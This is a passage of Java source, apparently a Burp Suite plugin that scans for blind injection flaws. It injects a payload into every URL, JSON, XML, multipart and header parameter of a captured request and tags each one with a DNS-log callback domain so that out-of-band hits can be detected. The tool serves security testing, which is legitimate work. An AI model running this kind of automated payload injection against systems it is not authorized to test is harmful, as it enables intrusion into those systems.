(analyzeRequest().getParameters().isEmpty()) { 84 | return; 85 | } 86 | 87 | for (IParameter p : analyzeRequest().getParameters()) { 88 | // 类型为cookie、xml_attr、url不加入 89 | if (p.getType() == 2 || p.getType() == 4 || p.getType() == 1 || p.getType() == 0) { 90 | continue; 91 | } 92 | if (p.getName() == null || "".equals(p.getName())) { 93 | continue; 94 | } 95 | this.JsonXmlFileParameters.add(p); 96 | } 97 | } 98 | 99 | /** 100 | * 初始化URL中的参数 101 | */ 102 | private void initURLParameters() { 103 | if (analyzeRequest().getParameters().isEmpty()) { 104 | return; 105 | } 106 | for (IParameter p : analyzeRequest().getParameters()) { 107 | // 类型为非URL参数不加入 108 | if (p.getType() != 0) { 109 | continue; 110 | } 111 | if (p.getName() == null || "".equals(p.getName())) { 112 | continue; 113 | } 114 | this.URLParameters.add(p); 115 | } 116 | } 117 | 118 | 119 | 120 | /** 121 | * 解析json字符串,普通和嵌套类型都可 122 | * 123 | * @param jsonData 请求包的json数据 124 | * @param payload textshell的payload 125 | * @return 返回添加payload的json字符串 126 | */ 127 | public String analyseJson(String jsonData , String payload, String dnsLog) { 128 | String jsonResult = ""; 129 | int paramNumber = 1; 130 | boolean j = false; 131 | for(int i=1;i list = new ArrayList(); 161 | Pattern pattern = Pattern.compile(">(.*?)" + str + "" + payload.replace("dns-url", 170 | (paramNumber++) + "." + "xml" + "." + dnsLog) + " getURLParameters() { 181 | return this.URLParameters; 182 | } 183 | 184 | /** 185 | * 获取所有的equal参数 186 | * 187 | * @return List 188 | */ 189 | public List getEqualParameters() { 190 | return this.equalParameters; 191 | } 192 | 193 | 194 | /** 195 | * 获取所有符合条件的json、XML参数 196 | * 197 | * @return List 198 | */ 199 | public List getJsonXmlFileParameters() { 200 | return this.JsonXmlFileParameters; 201 | } 202 | 203 | /** 204 | * 获取所有符合条件的参数 205 | * 206 | * @return List 207 | */ 208 | public List getAllParameters() { 209 | List AllParameters = new ArrayList<>(); 210 | for(IParameter p:this.JsonXmlFileParameters){ 211 | AllParameters.add(p); 212 | } 213 | for(IParameter p: this.URLParameters){ 214 | AllParameters.add(p); 215 | } 216 | return AllParameters; 217 | } 218 | 219 | /** 220 | * 判断请求参数内容是否有Json 221 | * 222 | * @return boolean 223 | */ 224 | public boolean isRequestParameterContentJson() { 225 | if (CustomHelpers.isJson(this.customBurpHelpers.getHttpRequestBody(requestResponse().getRequest()))) { 226 | return true; 227 | } 228 | if (getEqualParameters().isEmpty()) { 229 | return false; 230 | } 231 | return true; 232 | } 233 | 234 | 235 | /** 236 | * 会根据程序类型自动组装请求的 请求发送接口 237 | */ 238 | public IHttpRequestResponse makeHttpRequest(String payload, String dnsLogUrl) { 239 | byte[] newRequest; 240 | 241 | byte[] request = this.requestResponse.getRequest(); 242 | 243 | if(this.customBurpUrl.getRequestQuery() != null && this.customBurpHelpers.getHttpRequestBodyIsNullOrNo(request) != null) { 244 | byte[] URLRequest = this.buildURLParameter(payload, dnsLogUrl); 245 | IHttpRequestResponse urlHttpRequestResponse = this.callbacks.makeHttpRequest(this.requestResponse().getHttpService(),URLRequest); 246 | switch (this.analyzeRequest().getContentType()){ 247 | case 1: 248 | newRequest = this.buildEqualParameter(payload, dnsLogUrl); 249 | break; 250 | case 2: 251 | newRequest = this.buildFileParameter(payload, dnsLogUrl); 252 | break; 253 | case 3: 254 | newRequest = this.buildXMLParameter(payload, dnsLogUrl); 255 | break; 256 | case 4: 257 | newRequest = this.buildJSONParameter(payload, dnsLogUrl); 258 | break; 259 | default: 260 | newRequest = this.buildParameter(payload, dnsLogUrl); 261 | } 262 | } else { 263 | switch (this.analyzeRequest().getContentType()){ 264 | case 1: 265 | newRequest = this.buildEqualParameter(payload, dnsLogUrl); 266 | break; 267 | case 2: 268 | newRequest = this.buildFileParameter(payload, dnsLogUrl); 269 | break; 270 | case 3: 271 | newRequest = this.buildXMLParameter(payload, dnsLogUrl); 272 | break; 273 | case 4: 274 | newRequest = this.buildJSONParameter(payload, dnsLogUrl); 275 | break; 276 | default: 277 | newRequest = this.buildAllParameter(payload, dnsLogUrl); 278 | } 279 | } 280 | 281 | IHttpRequestResponse newHttpRequestResponse = this.callbacks.makeHttpRequest(this.requestResponse().getHttpService(), newRequest); 282 | return newHttpRequestResponse; 283 | } 284 | 285 | 286 | 287 | /** 288 | * 判断字符串为JSON格式 289 | * 290 | * @param str 参数的value或者POST包的body 291 | * @return 是=true 否=flase 292 | */ 293 | public Integer isJSONOrXML(String str) { 294 | try { 295 | JSON.parse(str.replaceAll("(\\[(.*?)])","\"test\"").trim()); 296 | return 1; 297 | } catch (Exception e) { 298 | } 299 | try { 300 | DocumentHelper.parseText(str); 301 | return 2; 302 | } catch (Exception e) { 303 | } 304 | 305 | return 0; 306 | } 307 | 308 | /** 309 | * 获取特征key 310 | * 311 | * @return 312 | */ 313 | public String getKey(){ 314 | String key = this.helpers.analyzeRequest(this.requestResponse).getMethod() + "." 315 | + this.customBurpUrl.getRequestHost() + "." 316 | + this.customBurpUrl.getRequestPort() 317 | + this.customBurpUrl.getRequestPath().replace("/",".") + "eeeee"; 318 | return key; 319 | } 320 | 321 | 322 | /** 323 | * 获取特征key 324 | * 325 | * @return 326 | */ 327 | public String getForReKey(){ 328 | String key = this.customBurpUrl.getRequestHost() + "." 329 | + this.customBurpUrl.getRequestPort() 330 | + this.customBurpUrl.getRequestPath().replace("/",".") + "eeeee"; 331 | return key; 332 | } 333 | 334 | /** 335 | * json数据格式请求处理方法 336 | * 337 | * @param payload 338 | * @return 339 | */ 340 | private byte[] buildHttpMessage(String payload) { 341 | byte[] newRequest = this.helpers.buildHttpMessage( 342 | this.analyzeRequest().getHeaders(), 343 | this.helpers.stringToBytes(payload)); 344 | return newRequest; 345 | } 346 | 347 | /** 348 | * 构造request header的payload 349 | * 350 | * @param payload 351 | * @param dnsLog 352 | * @return 353 | */ 354 | private List getHeaders(String payload, String dnsLog) { 355 | List headers = this.analyzeRequest().getHeaders(); 356 | int paramNumber = 1; 357 | 358 | List headersNameBlacklist = this.yamlReader.getStringList("scan.headersName.blacklist"); 359 | for(int i =2; i headers = this.getHeaders(payload, dnsLog); 403 | newRequest = this.helpers.buildHttpMessage( 404 | headers, 405 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes()); 406 | 407 | for (int i = 0; i < this.getURLParameters().size(); i++) { 408 | IParameter p = this.getURLParameters().get(i); 409 | IParameter newParameter = null; 410 | switch (this.isJSONOrXML(p.getValue())){ 411 | case 1: 412 | newParameter = this.helpers.buildParameter( 413 | p.getName(), 414 | this.analyseJson(p.getValue(), payload, dnsLog), 415 | p.getType() 416 | ); 417 | break; 418 | case 2: 419 | newParameter = this.helpers.buildParameter( 420 | p.getName(), 421 | this.analyseXML(p.getValue(), payload, dnsLog), 422 | p.getType() 423 | ); 424 | break; 425 | default: 426 | newParameter = this.helpers.buildParameter( 427 | p.getName(), 428 | payload.replace("dns-url",(paramNumber++)+"."+dnsLog), 429 | p.getType() 430 | ); 431 | break; 432 | } 433 | 434 | newRequest = this.helpers.updateParameter( 435 | newRequest, 436 | newParameter); 437 | } 438 | return newRequest; 439 | } 440 | /** 441 | * 参数为a.name = a.value情况的构造方法 442 | * 443 | * @param payload 444 | * @param dnsLogUrl 445 | * @return 446 | */ 447 | private byte[] buildEqualParameter(String payload, String dnsLogUrl) { 448 | 449 | byte[] newRequest; 450 | String dnsLog = this.getKey() + dnsLogUrl; 451 | newRequest = this.requestResponse().getRequest(); 452 | int paramNumber = 1; 453 | // 添加header头 454 | List headers = this.getHeaders(payload, dnsLog); 455 | newRequest = this.helpers.buildHttpMessage( 456 | headers, 457 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes()); 458 | 459 | for (int i = 0; i < this.getEqualParameters().size(); i++) { 460 | IParameter p = this.getEqualParameters().get(i); 461 | IParameter newParameter = null; 462 | switch (this.isJSONOrXML(p.getValue())){ 463 | case 1: 464 | newParameter = this.helpers.buildParameter( 465 | p.getName(), 466 | this.analyseJson(p.getValue(), payload, dnsLog), 467 | p.getType() 468 | ); 469 | break; 470 | case 2: 471 | newParameter = this.helpers.buildParameter( 472 | p.getName(), 473 | this.analyseXML(p.getValue(), payload, dnsLog), 474 | p.getType() 475 | ); 476 | break; 477 | default: 478 | newParameter = this.helpers.buildParameter( 479 | p.getName(), 480 | payload.replace("dns-url",(paramNumber++)+"."+dnsLog), 481 | p.getType() 482 | ); 483 | break; 484 | } 485 | 486 | newRequest = this.helpers.updateParameter( 487 | newRequest, 488 | newParameter); 489 | } 490 | return newRequest; 491 | } 492 | 493 | /** 494 | * body内容为file时的构造 495 | * 496 | * @param payload 497 | * @param dnsLogUrl 498 | * @return 499 | */ 500 | private byte[] buildFileParameter(String payload, String dnsLogUrl) { 501 | byte[] newRequest; 502 | String dnsLog = this.getKey() + dnsLogUrl; 503 | newRequest = this.requestResponse().getRequest(); 504 | int paramNumber = 1; 505 | // 添加header头 506 | List headers = this.getHeaders(payload, dnsLog); 507 | String body = this.customBurpHelpers.getHttpRequestBody(newRequest); 508 | List listMultipart = new ArrayList(); 509 | Pattern pattern = Pattern.compile("\n(.*?)\r\n--"); 510 | Matcher m = pattern.matcher(body); 511 | while (m.find()) { 512 | listMultipart.add(m.group(1)); 513 | // stdout.println(m.group(1)); 514 | } 515 | for ( String str : listMultipart) { 516 | body = body.replace("\n" + str + "\r\n--", 517 | "\n" + payload.replace("dns-url", 518 | (paramNumber++) + "." + dnsLog) + "\r\n--"); 519 | } 520 | newRequest = this.helpers.buildHttpMessage( 521 | headers, 522 | body.getBytes() 523 | ); 524 | return newRequest; 525 | } 526 | 527 | /** 528 | * 只对body的参数进行构造 529 | * 530 | * @param payload 531 | * @return 532 | */ 533 | private byte[] buildParameter(String payload, String dnsLogUrl) { 534 | byte[] newRequest; 535 | String dnsLog = this.getKey() + dnsLogUrl; 536 | newRequest = this.requestResponse().getRequest(); 537 | int paramNumber = 1; 538 | // 添加header头 539 | List headers = this.getHeaders(payload, dnsLog); 540 | newRequest = this.helpers.buildHttpMessage( 541 | headers, 542 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes()); 543 | 544 | for (int i = 0; i < this.getJsonXmlFileParameters().size(); i++) { 545 | IParameter p = this.getJsonXmlFileParameters().get(i); 546 | IParameter newParameter = this.helpers.buildParameter( 547 | p.getName(), 548 | payload.replace("dns-url",(paramNumber++) + "."+ dnsLog), 549 | p.getType() 550 | ); 551 | 552 | newRequest = this.helpers.updateParameter( 553 | newRequest, 554 | newParameter); 555 | } 556 | return newRequest; 557 | } 558 | 559 | /** 560 | * body中只有json的参数构造方法 561 | * 562 | * @param payload 563 | * @return 564 | */ 565 | private byte[] buildJSONParameter(String payload, String dnsLogUrl) { 566 | byte[] newRequest; 567 | String dnsLog = this.getKey() + dnsLogUrl; 568 | newRequest = this.requestResponse().getRequest(); 569 | String body = this.analyseJson(this.customBurpHelpers.getHttpRequestBody(newRequest), payload, dnsLog); 570 | // 添加header头 571 | List headers = this.getHeaders(payload, dnsLog); 572 | newRequest = this.helpers.buildHttpMessage( 573 | headers, 574 | body.getBytes()); 575 | return newRequest; 576 | } 577 | 578 | /** 579 | * body中只有XML的参数构造方法 580 | * 581 | * @param payload 582 | * @return 583 | */ 584 | private byte[] buildXMLParameter(String payload, String dnsLogUrl) { 585 | byte[] newRequest; 586 | String dnsLog = this.getKey() + dnsLogUrl; 587 | newRequest = this.requestResponse().getRequest(); 588 | String body = this.analyseXML(this.customBurpHelpers.getHttpRequestBody(newRequest), payload, dnsLog); 589 | // 添加header头 590 | List headers = this.getHeaders(payload, dnsLog); 591 | newRequest = this.helpers.buildHttpMessage( 592 | headers, 593 | body.getBytes()); 594 | return newRequest; 595 | } 596 | 597 | 598 | /** 599 | * request所有参数的构造方法 600 | * 601 | * @param payload 602 | * @return 603 | */ 604 | private byte[] buildAllParameter(String payload, String dnsLogUrl) { 605 | byte[] newRequest; 606 | String dnsLog = this.getKey() + dnsLogUrl; 607 | newRequest = this.requestResponse().getRequest(); 608 | int paramNumber = 1; 609 | // 添加header头 610 | List headers = this.getHeaders(payload, dnsLog); 611 | newRequest = this.helpers.buildHttpMessage( 612 | headers, 613 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes()); 614 | 615 | for (int i = 0; i < this.getAllParameters().size(); i++) { 616 | IParameter p = this.getAllParameters().get(i); 617 | IParameter newParameter = this.helpers.buildParameter( 618 | p.getName(), 619 | payload.replace("dns-url",(paramNumber++) + "."+ dnsLog), 620 | p.getType() 621 | ); 622 | 623 | newRequest = this.helpers.updateParameter( 624 | newRequest, 625 | newParameter); 626 | } 627 | return newRequest; 628 | } 629 | } --------------------------------------------------------------------------------